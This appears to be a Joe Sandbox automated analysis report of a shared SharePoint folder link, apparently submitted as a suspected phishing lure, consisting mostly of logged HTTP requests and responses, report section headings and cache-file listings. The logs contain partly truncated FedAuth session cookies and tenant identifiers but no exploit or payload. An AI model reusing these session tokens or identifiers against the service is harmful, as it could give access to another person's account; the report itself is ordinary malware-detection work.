X-MSEdge-Ref: Ref A: 6CEFE18D5E194DBA9F39F32A26157823 Ref B: EWR311000108009 Ref C: 2025-03-24T15:04:03Z Date: Mon, 24 Mar 2025 15:04:02 GMT Connection: close
2025-03-24 15:04:03 UTC	450	IN	Data Raw: 31 62 62 0d 0a 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 6d 3a 65 72 72 6f 72 20 78 6d 6c 6e 73 3a 6d 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 61 64 6f 2f 32 30 30 37 2f 30 38 2f 64 61 74 61 73 65 72 76 69 63 65 73 2f 6d 65 74 61 64 61 74 61 22 3e 3c 6d 3a 63 6f 64 65 3e 2d 31 2c 20 4d 69 63 72 6f 73 6f 66 74 2e 53 68 61 72 65 50 6f 69 6e 74 2e 43 6c 69 65 6e 74 2e 43 6c 69 65 6e 74 53 65 72 76 69 63 65 45 78 63 65 70 74 69 6f 6e 3c 2f 6d 3a 63 6f 64 65 3e 3c 6d 3a 6d 65 73 73 61 67 65 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 54 68 65 20 48 54 54 50 20 6d 65 74 68 6f 64 20 27 47 45 54 27 20 63 61 6e 6e 6f 74 20 62 65 Data Ascii: 1bb<?xml version="1.0" encoding="utf-8"?><m:error xmlns:m="http://schemas.microsoft.com/ado/2007/08/dataservices/metadata"><m:code>-1, Microsoft.SharePoint.Client.ClientServiceException</m:code><m:message xml:lang="en-US">The HTTP method 'GET' cannot be
2025-03-24 15:04:03 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2025-03-24 15:04:04 UTC	1794	OUT	GET /personal/securedocument_postureshift_com/_api/web/GetListUsingPath(DecodedUrl=@a1)/RenderListDataAsStream?@a1=%27%2Fpersonal%2Fsecuredocument%5Fpostureshift%5Fcom%2FDocuments%27&TryNewExperienceSingle=TRUE HTTP/1.1 Host: postureshift-my.sharepoint.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: FedAuth=77u/PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz48U1A+VjEzLDBoLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uI2FiOTE5YTY2MWI0YTVjNmU2ZWRiMjJiNWM1YWUwMTE4ZmY5ZWE5Y2ZkZDYzMTUwM2UwMzEwNmY4NWQ3ZThkYjYsMCMuZnxtZW1iZXJzaGlwfHVybiUzYXNwbyUzYWFub24jYWI5MTlhNjYxYjRhNWM2ZTZlZGIyMmI1YzVhZTAxMThmZjllYTljZmRkNjMxNTAzZTAzMTA2Zjg1ZDdlOGRiNiwxMzM4NzMwMjUzNjAwMDAwMDAsMCwxMzM4NzM4ODYzNjY2MTM5MjUsMC4wLjAuMCwyNTgsODFlNTAzMTItNzRjZi00YWM1LWIyMDUtMjExZTdjYmU1YWRkLCwsY2VhZWU5MTUtMzM0Mi00MDBkLTg5ZmItZDhlNjFmNDNiY2IwLGNlYWVlOTE1LTMzNDItNDAwZC04OWZiLWQ4ZTYxZjQzYmNiMCxwOWo3eWN2V0oweU9WU2hHbzdNMXlRLDAsMCwwLCwsLDI2NTA0Njc3NDM5OTk5OTk5OTksMCwsLCwsLCwwLCwxOTE3NTksTkxITm9QekJlYzNqTGxRc1NZb0w1UTFFZ2ZFLGx0K2NnOWN5NU9WNXd4K1YvaDlUSDRLaVlDYmpSQTh4bXZpdDZnRmh2L04rNVhCZDJWTUFTTHJoMTY1cXpBYUt3UXdMN21qdU9vaTQyaHFFTjg2UlZNVzZDQ05zTTJNNisxdFdPZ3FCdmRzSEZxVStGdDN4UkNXaTBzWXR6VVR4ZVRmTVV4WlA4WmFaS3d4OVlOUGxzbURUSFNXeXkva0d1cGtOcjU5M1R0RDRnSndSd1RSVzdIYnZEVjhxdVRRbFo4OG1FOWVveThoOStTNHBKWjhrQklXdTVJT016amhhb1VxNW9SRzh3ZFZBWER4akwrUTVGeFhp [TRUNCATED]
2025-03-24 15:04:04 UTC	3463	IN	HTTP/1.1 405 Method Not Allowed Cache-Control: private, max-age=0 Transfer-Encoding: chunked Content-Type: application/xml;charset=utf-8 Expires: Sun, 09 Mar 2025 15:04:04 GMT Last-Modified: Mon, 24 Mar 2025 15:04:04 GMT Vary: Origin P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: FedAuth=77u/PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz48U1A+VjEzLDBoLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uI2FiOTE5YTY2MWI0YTVjNmU2ZWRiMjJiNWM1YWUwMTE4ZmY5ZWE5Y2ZkZDYzMTUwM2UwMzEwNmY4NWQ3ZThkYjYsMCMuZnxtZW1iZXJzaGlwfHVybiUzYXNwbyUzYWFub24jYWI5MTlhNjYxYjRhNWM2ZTZlZGIyMmI1YzVhZTAxMThmZjllYTljZmRkNjMxNTAzZTAzMTA2Zjg1ZDdlOGRiNiwxMzM4NzMwMjUzNjAwMDAwMDAsMCwxMzM4NzM4ODYzNjY2MTM5MjUsMC4wLjAuMCwyNTgsODFlNTAzMTItNzRjZi00YWM1LWIyMDUtMjExZTdjYmU1YWRkLCwsY2VhZWU5MTUtMzM0Mi00MDBkLTg5ZmItZDhlNjFmNDNiY2IwLGNlYWVlOTE1LTMzNDItNDAwZC04OWZiLWQ4ZTYxZjQzYmNiMCxwOWo3eWN2V0oweU9WU2hHbzdNMXlRLDAsMCwwLCwsLDI2NTA0Njc3NDM5OTk5OTk5OTksMCwsLCwsLCwwLCwxOTE3NTksTkxITm9QekJlYzNqTGxRc1NZb0w1UTFFZ2ZFLGx0K2NnOWN5NU9WNXd4K1YvaDlUSDRLaVlDYmpSQTh4bXZpdDZnRmh2L04rNVhCZDJWTUFTTHJoMTY1cXpBYUt3UXdMN21qdU9vaTQyaHFFTjg2UlZNVzZDQ05zTTJNNisxdFdPZ3FCdmRzSEZxVStGdDN4UkNXaTBzWXR6VVR4ZVRmTVV4WlA4WmFaS3d4OVlOUGxzbURUSFNXeXkva0d1cGtOcjU5M1R0RDRnSndSd1RSVzdIYnZEVjhxdVRRbFo4OG1FOWVveThoOStTNHBKWjhrQklXdTVJT016amhhb1VxNW9SRzh3ZFZBWER4akwrUTVG [TRUNCATED] X-NetworkStatistics: 0,4194720,0,210,3420580,525568,525568,42026 X-SharePointHealthScore: 2 X-SP-SERVERSTATE: ReadOnly=0 DATASERVICEVERSION: 3.0 SPClientServiceRequestDuration: 23 X-AspNet-Version: 4.0.30319 IsOCDI: 0 X-DataBoundary: NONE X-1DSCollectorUrl: https://mobile.events.data.microsoft.com/OneCollector/1.0/ X-AriaCollectorURL: https://browser.pipe.aria.microsoft.com/Collector/3.0/ SPRequestGuid: b8ad8da1-3012-8000-8668-8fb0b8e4978d request-id: b8ad8da1-3012-8000-8668-8fb0b8e4978d MS-CV: oY2tuBIwAICGaI+wuOSXjQ.0 Alt-Svc: h3=":443";ma=86400 Report-To: {"group":"network-errors","max_age":7200,"endpoints":[{"url":"https://spo.nel.measure.office.net/api/report?tenantId=81e50312-74cf-4ac5-b205-211e7cbe5add&destinationEndpoint=Edge-Prod-EWR31r5d&frontEnd=AFD&RemoteIP=161.77.13.0"}]} NEL: {"report_to":"network-errors","max_age":7200,"success_fraction":0.001,"failure_fraction":1.0} Strict-Transport-Security: max-age=31536000 X-FRAME-OPTIONS: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' teams.microsoft.com .teams.microsoft.com .skype.com .teams.microsoft.us local.teams.office.com teams.cloud.microsoft .office365.com goals.cloud.microsoft .powerapps.com .powerbi.com .yammer.com engage.cloud.microsoft word.cloud.microsoft excel.cloud.microsoft powerpoint.cloud.microsoft .officeapps.live.com .office.com .microsoft365.com m365.cloud.microsoft .cloud.microsoft .stream.azure-test.net .microsoftstream.com .dynamics.com .microsoft.com onedrive.live.com .onedrive.live.com securebroker.sharepointonline.com; X-Powered-By: ASP.NET MicrosoftSharePointTeamServices: 16.0.0.25905 X-Content-Type-Options: nosniff X-MS-InvokeApp: 1; RequireReadOnly X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: F16F469373F4489D80F0BC239B9E9241 Ref B: EWR311000107021 Ref C: 2025-03-24T15:04:04Z Date: Mon, 24 Mar 2025 15:04:04 GMT Connection: close
2025-03-24 15:04:04 UTC	450	IN	Data Raw: 31 62 62 0d 0a 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 6d 3a 65 72 72 6f 72 20 78 6d 6c 6e 73 3a 6d 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 61 64 6f 2f 32 30 30 37 2f 30 38 2f 64 61 74 61 73 65 72 76 69 63 65 73 2f 6d 65 74 61 64 61 74 61 22 3e 3c 6d 3a 63 6f 64 65 3e 2d 31 2c 20 4d 69 63 72 6f 73 6f 66 74 2e 53 68 61 72 65 50 6f 69 6e 74 2e 43 6c 69 65 6e 74 2e 43 6c 69 65 6e 74 53 65 72 76 69 63 65 45 78 63 65 70 74 69 6f 6e 3c 2f 6d 3a 63 6f 64 65 3e 3c 6d 3a 6d 65 73 73 61 67 65 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 54 68 65 20 48 54 54 50 20 6d 65 74 68 6f 64 20 27 47 45 54 27 20 63 61 6e 6e 6f 74 20 62 65 Data Ascii: 1bb<?xml version="1.0" encoding="utf-8"?><m:error xmlns:m="http://schemas.microsoft.com/ado/2007/08/dataservices/metadata"><m:code>-1, Microsoft.SharePoint.Client.ClientServiceException</m:code><m:message xml:lang="en-US">The HTTP method 'GET' cannot be
2025-03-24 15:04:04 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2025-03-24 15:04:04 UTC	2219	OUT	GET /personal/securedocument_postureshift_com/_api/v2.0/sites/%7B552113f1-ca1e-451c-948b-fdf117b790f0%7D/lists/%7B542dd7ce-432e-4839-81f4-bc418c7ad82b%7D/items/delta?token=latest HTTP/1.1 Host: postureshift-my.sharepoint.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Content-Type: application/json;odata=verbose X-RestrictedReadCapabilities: ForceCheckOut,RequiredColumn,ContentApproval,Irm,ExcludeFromOfflineClient,DocumentParser,DraftItemSecurity,ItemLevelPermissions Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: same-origin Sec-Fetch-Dest: empty Referer: https://postureshift-my.sharepoint.com/personal/securedocument_postureshift_com/_layouts/15/serviceworkerproxy.aspx?serviceWorkerUrl=https%3A%2F%2Fres-1.cdn.office.net%2Ffiles%2Fodsp-web-prod_2025-03-07.002%2Fodspwebworkers%2Fen-us%2Fspartanlistpostpltworker.js Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: FedAuth=77u/PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz48U1A+VjEzLDBoLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uI2FiOTE5YTY2MWI0YTVjNmU2ZWRiMjJiNWM1YWUwMTE4ZmY5ZWE5Y2ZkZDYzMTUwM2UwMzEwNmY4NWQ3ZThkYjYsMCMuZnxtZW1iZXJzaGlwfHVybiUzYXNwbyUzYWFub24jYWI5MTlhNjYxYjRhNWM2ZTZlZGIyMmI1YzVhZTAxMThmZjllYTljZmRkNjMxNTAzZTAzMTA2Zjg1ZDdlOGRiNiwxMzM4NzMwMjUzNjAwMDAwMDAsMCwxMzM4NzM4ODYzNjY2MTM5MjUsMC4wLjAuMCwyNTgsODFlNTAzMTItNzRjZi00YWM1LWIyMDUtMjExZTdjYmU1YWRkLCwsY2VhZWU5MTUtMzM0Mi00MDBkLTg5ZmItZDhlNjFmNDNiY2IwLGNlYWVlOTE1LTMzNDItNDAwZC04OWZiLWQ4ZTYxZjQzYmNiMCxwOWo3eWN2V0oweU9WU2hHbzdNMXlRLDAsMCwwLCwsLDI2NTA0Njc3NDM5OTk5OTk5OTksMCwsLCwsLCwwLCwxOTE3NTksTkxITm9QekJlYzNqTGxRc1NZb0w1UTFFZ2ZFLGx0K2NnOWN5NU9WNXd4K1YvaDlUSDRLaVlDYmpSQTh4bXZpdDZnRmh2L04rNVhCZDJWTUFTTHJoMTY1cXpBYUt3UXdMN21qdU9vaTQyaHFFTjg2UlZNVzZDQ05zTTJNNisxdFdPZ3FCdmRzSEZxVStGdDN4UkNXaTBzWXR6VVR4ZVRmTVV4WlA4WmFaS3d4OVlOUGxzbURUSFNXeXkva0d1cGtOcjU5M1R0RDRnSndSd1RSVzdIYnZEVjhxdVRRbFo4OG1FOWVveThoOStTNHBKWjhrQklXdTVJT016amhhb1VxNW9SRzh3ZFZBWER4akwrUTVGeFhp [TRUNCATED]
2025-03-24 15:04:05 UTC	3346	IN	HTTP/1.1 200 OK Cache-Control: no-cache, no-store Pragma: no-cache Content-Length: 757 Content-Type: application/json; odata.metadata=minimal Expires: -1 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: FedAuth=77u/PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz48U1A+VjEzLDBoLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uI2FiOTE5YTY2MWI0YTVjNmU2ZWRiMjJiNWM1YWUwMTE4ZmY5ZWE5Y2ZkZDYzMTUwM2UwMzEwNmY4NWQ3ZThkYjYsMCMuZnxtZW1iZXJzaGlwfHVybiUzYXNwbyUzYWFub24jYWI5MTlhNjYxYjRhNWM2ZTZlZGIyMmI1YzVhZTAxMThmZjllYTljZmRkNjMxNTAzZTAzMTA2Zjg1ZDdlOGRiNiwxMzM4NzMwMjUzNjAwMDAwMDAsMCwxMzM4NzM4ODYzNjY2MTM5MjUsMC4wLjAuMCwyNTgsODFlNTAzMTItNzRjZi00YWM1LWIyMDUtMjExZTdjYmU1YWRkLCwsY2VhZWU5MTUtMzM0Mi00MDBkLTg5ZmItZDhlNjFmNDNiY2IwLGNlYWVlOTE1LTMzNDItNDAwZC04OWZiLWQ4ZTYxZjQzYmNiMCxwOWo3eWN2V0oweU9WU2hHbzdNMXlRLDAsMCwwLCwsLDI2NTA0Njc3NDM5OTk5OTk5OTksMCwsLCwsLCwwLCwxOTE3NTksTkxITm9QekJlYzNqTGxRc1NZb0w1UTFFZ2ZFLGx0K2NnOWN5NU9WNXd4K1YvaDlUSDRLaVlDYmpSQTh4bXZpdDZnRmh2L04rNVhCZDJWTUFTTHJoMTY1cXpBYUt3UXdMN21qdU9vaTQyaHFFTjg2UlZNVzZDQ05zTTJNNisxdFdPZ3FCdmRzSEZxVStGdDN4UkNXaTBzWXR6VVR4ZVRmTVV4WlA4WmFaS3d4OVlOUGxzbURUSFNXeXkva0d1cGtOcjU5M1R0RDRnSndSd1RSVzdIYnZEVjhxdVRRbFo4OG1FOWVveThoOStTNHBKWjhrQklXdTVJT016amhhb1VxNW9SRzh3ZFZBWER4akwrUTVG [TRUNCATED] X-NetworkStatistics: 0,4194720,43,118,7306346,1051136,1051136,43821 X-SharePointHealthScore: 2 X-VroomVersion: 2.0 OData-Version: 4.0 IsOCDI: 0 X-DataBoundary: NONE X-1DSCollectorUrl: https://mobile.events.data.microsoft.com/OneCollector/1.0/ X-AriaCollectorURL: https://browser.pipe.aria.microsoft.com/Collector/3.0/ SPRequestGuid: b8ad8da1-e024-8000-8668-80852f09712d request-id: b8ad8da1-e024-8000-8668-80852f09712d MS-CV: oY2tuCTgAICGaICFLwlxLQ.0 Alt-Svc: h3=":443";ma=86400 Report-To: {"group":"network-errors","max_age":7200,"endpoints":[{"url":"https://spo.nel.measure.office.net/api/report?tenantId=81e50312-74cf-4ac5-b205-211e7cbe5add&destinationEndpoint=Edge-Prod-EWR31r5d&frontEnd=AFD&RemoteIP=161.77.13.0"}]} NEL: {"report_to":"network-errors","max_age":7200,"success_fraction":0.001,"failure_fraction":1.0} Strict-Transport-Security: max-age=31536000 X-FRAME-OPTIONS: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' teams.microsoft.com .teams.microsoft.com .skype.com .teams.microsoft.us local.teams.office.com teams.cloud.microsoft .office365.com goals.cloud.microsoft .powerapps.com .powerbi.com .yammer.com engage.cloud.microsoft word.cloud.microsoft excel.cloud.microsoft powerpoint.cloud.microsoft .officeapps.live.com .office.com .microsoft365.com m365.cloud.microsoft .cloud.microsoft .stream.azure-test.net .microsoftstream.com .dynamics.com .microsoft.com onedrive.live.com .onedrive.live.com securebroker.sharepointonline.com; SPRequestDuration: 64 SPIisLatency: 4 X-Powered-By: ASP.NET MicrosoftSharePointTeamServices: 16.0.0.25905 X-Content-Type-Options: nosniff X-MS-InvokeApp: 1; RequireReadOnly X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: B72A878B0AF24596A61975F87CC5D4C4 Ref B: EWR311000108017 Ref C: 2025-03-24T15:04:04Z Date: Mon, 24 Mar 2025 15:04:04 GMT Connection: close
2025-03-24 15:04:05 UTC	757	IN	Data Raw: 7b 22 40 6f 64 61 74 61 2e 63 6f 6e 74 65 78 74 22 3a 22 68 74 74 70 73 3a 2f 2f 70 6f 73 74 75 72 65 73 68 69 66 74 2d 6d 79 2e 73 68 61 72 65 70 6f 69 6e 74 2e 63 6f 6d 2f 70 65 72 73 6f 6e 61 6c 2f 73 65 63 75 72 65 64 6f 63 75 6d 65 6e 74 5f 70 6f 73 74 75 72 65 73 68 69 66 74 5f 63 6f 6d 2f 5f 61 70 69 2f 76 32 2e 30 2f 24 6d 65 74 61 64 61 74 61 23 73 69 74 65 73 28 27 25 37 42 35 35 32 31 31 33 66 31 2d 63 61 31 65 2d 34 35 31 63 2d 39 34 38 62 2d 66 64 66 31 31 37 62 37 39 30 66 30 25 37 44 27 29 2f 6c 69 73 74 73 28 27 25 37 42 35 34 32 64 64 37 63 65 2d 34 33 32 65 2d 34 38 33 39 2d 38 31 66 34 2d 62 63 34 31 38 63 37 61 64 38 32 62 25 37 44 27 29 2f 69 74 65 6d 73 28 66 69 65 6c 64 73 28 29 29 22 2c 22 40 6f 64 61 74 61 2e 64 65 6c 74 61 4c 69 Data Ascii: {"@odata.context":"https://postureshift-my.sharepoint.com/personal/securedocument_postureshift_com/_api/v2.0/$metadata#sites('%7B552113f1-ca1e-451c-948b-fdf117b790f0%7D')/lists('%7B542dd7ce-432e-4839-81f4-bc418c7ad82b%7D')/items(fields())","@odata.deltaLi

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report https://postureshift-my.sharepoint.com/:f:/p/securedocument/EtRlfSUr3KtLjXgAbIYheZQBZ7nG7Jc2JIN2pqruKYsodA?e=SjlcA6

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

Cryptography

Phishing

Compliance

Networking

System Summary

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Lowering of HIPS / PFW / Operating System Security Settings

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Windows\ServiceProfiles\LocalService\AppData\Local\Temp\MpCmdRun.log

Chrome Cache Entry: 1530

Chrome Cache Entry: 1531

Chrome Cache Entry: 1532

Chrome Cache Entry: 1533

Chrome Cache Entry: 1534

Chrome Cache Entry: 1535

Chrome Cache Entry: 1536

Chrome Cache Entry: 1537

Chrome Cache Entry: 1538

Chrome Cache Entry: 1539

Chrome Cache Entry: 1540

Chrome Cache Entry: 1541

Chrome Cache Entry: 1542

Chrome Cache Entry: 1543

Chrome Cache Entry: 1544

Chrome Cache Entry: 1545

Chrome Cache Entry: 1546

Chrome Cache Entry: 1547

Chrome Cache Entry: 1548

Chrome Cache Entry: 1549

Chrome Cache Entry: 1550

Chrome Cache Entry: 1551

Chrome Cache Entry: 1552

Chrome Cache Entry: 1553

Windows Analysis Report
https://postureshift-my.sharepoint.com/:f:/p/securedocument/EtRlfSUr3KtLjXgAbIYheZQBZ7nG7Jc2JIN2pqruKYsodA?e=SjlcA6

Timestamp	Bytes transferred	Direction	Data
2025-03-24 15:04:04 UTC	2062	OUT	GET /personal/securedocument_postureshift_com/_api/v2.0/sites/root/lists/%7B542dd7ce-432e-4839-81f4-bc418c7ad82b%7D/subscriptions/socketIo?listItemIds= HTTP/1.1 Host: postureshift-my.sharepoint.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Content-Type: application/json;odata=verbose Prefer: NotificationSession Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: same-origin Sec-Fetch-Dest: empty Referer: https://postureshift-my.sharepoint.com/personal/securedocument_postureshift_com/_layouts/15/serviceworkerproxy.aspx?serviceWorkerUrl=https%3A%2F%2Fres-1.cdn.office.net%2Ffiles%2Fodsp-web-prod_2025-03-07.002%2Fodspwebworkers%2Fen-us%2Fspartanlistpostpltworker.js Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: FedAuth=77u/PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz48U1A+VjEzLDBoLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uI2FiOTE5YTY2MWI0YTVjNmU2ZWRiMjJiNWM1YWUwMTE4ZmY5ZWE5Y2ZkZDYzMTUwM2UwMzEwNmY4NWQ3ZThkYjYsMCMuZnxtZW1iZXJzaGlwfHVybiUzYXNwbyUzYWFub24jYWI5MTlhNjYxYjRhNWM2ZTZlZGIyMmI1YzVhZTAxMThmZjllYTljZmRkNjMxNTAzZTAzMTA2Zjg1ZDdlOGRiNiwxMzM4NzMwMjUzNjAwMDAwMDAsMCwxMzM4NzM4ODYzNjY2MTM5MjUsMC4wLjAuMCwyNTgsODFlNTAzMTItNzRjZi00YWM1LWIyMDUtMjExZTdjYmU1YWRkLCwsY2VhZWU5MTUtMzM0Mi00MDBkLTg5ZmItZDhlNjFmNDNiY2IwLGNlYWVlOTE1LTMzNDItNDAwZC04OWZiLWQ4ZTYxZjQzYmNiMCxwOWo3eWN2V0oweU9WU2hHbzdNMXlRLDAsMCwwLCwsLDI2NTA0Njc3NDM5OTk5OTk5OTksMCwsLCwsLCwwLCwxOTE3NTksTkxITm9QekJlYzNqTGxRc1NZb0w1UTFFZ2ZFLGx0K2NnOWN5NU9WNXd4K1YvaDlUSDRLaVlDYmpSQTh4bXZpdDZnRmh2L04rNVhCZDJWTUFTTHJoMTY1cXpBYUt3UXdMN21qdU9vaTQyaHFFTjg2UlZNVzZDQ05zTTJNNisxdFdPZ3FCdmRzSEZxVStGdDN4UkNXaTBzWXR6VVR4ZVRmTVV4WlA4WmFaS3d4OVlOUGxzbURUSFNXeXkva0d1cGtOcjU5M1R0RDRnSndSd1RSVzdIYnZEVjhxdVRRbFo4OG1FOWVveThoOStTNHBKWjhrQklXdTVJT016amhhb1VxNW9SRzh3ZFZBWER4akwrUTVGeFhp [TRUNCATED]
2025-03-24 15:04:05 UTC	3308	IN	HTTP/1.1 403 Forbidden Cache-Control: no-cache, no-store Pragma: no-cache Content-Length: 59 Content-Type: application/json Expires: -1 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: FedAuth=77u/PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz48U1A+VjEzLDBoLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uI2FiOTE5YTY2MWI0YTVjNmU2ZWRiMjJiNWM1YWUwMTE4ZmY5ZWE5Y2ZkZDYzMTUwM2UwMzEwNmY4NWQ3ZThkYjYsMCMuZnxtZW1iZXJzaGlwfHVybiUzYXNwbyUzYWFub24jYWI5MTlhNjYxYjRhNWM2ZTZlZGIyMmI1YzVhZTAxMThmZjllYTljZmRkNjMxNTAzZTAzMTA2Zjg1ZDdlOGRiNiwxMzM4NzMwMjUzNjAwMDAwMDAsMCwxMzM4NzM4ODYzNjY2MTM5MjUsMC4wLjAuMCwyNTgsODFlNTAzMTItNzRjZi00YWM1LWIyMDUtMjExZTdjYmU1YWRkLCwsY2VhZWU5MTUtMzM0Mi00MDBkLTg5ZmItZDhlNjFmNDNiY2IwLGNlYWVlOTE1LTMzNDItNDAwZC04OWZiLWQ4ZTYxZjQzYmNiMCxwOWo3eWN2V0oweU9WU2hHbzdNMXlRLDAsMCwwLCwsLDI2NTA0Njc3NDM5OTk5OTk5OTksMCwsLCwsLCwwLCwxOTE3NTksTkxITm9QekJlYzNqTGxRc1NZb0w1UTFFZ2ZFLGx0K2NnOWN5NU9WNXd4K1YvaDlUSDRLaVlDYmpSQTh4bXZpdDZnRmh2L04rNVhCZDJWTUFTTHJoMTY1cXpBYUt3UXdMN21qdU9vaTQyaHFFTjg2UlZNVzZDQ05zTTJNNisxdFdPZ3FCdmRzSEZxVStGdDN4UkNXaTBzWXR6VVR4ZVRmTVV4WlA4WmFaS3d4OVlOUGxzbURUSFNXeXkva0d1cGtOcjU5M1R0RDRnSndSd1RSVzdIYnZEVjhxdVRRbFo4OG1FOWVveThoOStTNHBKWjhrQklXdTVJT016amhhb1VxNW9SRzh3ZFZBWER4akwrUTVG [TRUNCATED] X-NetworkStatistics: 0,4194720,45,334,5662475,2068325,2068325,41937 X-SharePointHealthScore: 2 X-VroomVersion: 2.0 IsOCDI: 0 X-DataBoundary: NONE X-1DSCollectorUrl: https://mobile.events.data.microsoft.com/OneCollector/1.0/ X-AriaCollectorURL: https://browser.pipe.aria.microsoft.com/Collector/3.0/ SPRequestGuid: b8ad8da1-3025-8000-6ce4-9d6467010da4 request-id: b8ad8da1-3025-8000-6ce4-9d6467010da4 MS-CV: oY2tuCUwAIBs5J1kZwENpA.0 Alt-Svc: h3=":443";ma=86400 Report-To: {"group":"network-errors","max_age":7200,"endpoints":[{"url":"https://spo.nel.measure.office.net/api/report?tenantId=81e50312-74cf-4ac5-b205-211e7cbe5add&destinationEndpoint=Edge-Prod-EWR31r5c&frontEnd=AFD&RemoteIP=161.77.13.0"}]} NEL: {"report_to":"network-errors","max_age":7200,"success_fraction":0.001,"failure_fraction":1.0} Strict-Transport-Security: max-age=31536000 X-FRAME-OPTIONS: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' teams.microsoft.com .teams.microsoft.com .skype.com .teams.microsoft.us local.teams.office.com teams.cloud.microsoft .office365.com goals.cloud.microsoft .powerapps.com .powerbi.com .yammer.com engage.cloud.microsoft word.cloud.microsoft excel.cloud.microsoft powerpoint.cloud.microsoft .officeapps.live.com .office.com .microsoft365.com m365.cloud.microsoft .cloud.microsoft .stream.azure-test.net .microsoftstream.com .dynamics.com .microsoft.com onedrive.live.com .onedrive.live.com securebroker.sharepointonline.com; SPRequestDuration: 69 SPIisLatency: 3 X-Powered-By: ASP.NET MicrosoftSharePointTeamServices: 16.0.0.25905 X-Content-Type-Options: nosniff X-MS-InvokeApp: 1; RequireReadOnly X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: AD6851193E764CC68B017C67819CE745 Ref B: EWR311000105027 Ref C: 2025-03-24T15:04:04Z Date: Mon, 24 Mar 2025 15:04:04 GMT Connection: close
2025-03-24 15:04:05 UTC	59	IN	Data Raw: 7b 22 65 72 72 6f 72 22 3a 7b 22 63 6f 64 65 22 3a 22 61 63 63 65 73 73 44 65 6e 69 65 64 22 2c 22 6d 65 73 73 61 67 65 22 3a 22 41 63 63 65 73 73 20 64 65 6e 69 65 64 22 7d 7d Data Ascii: {"error":{"code":"accessDenied","message":"Access denied"}}

Timestamp	Bytes transferred	Direction	Data
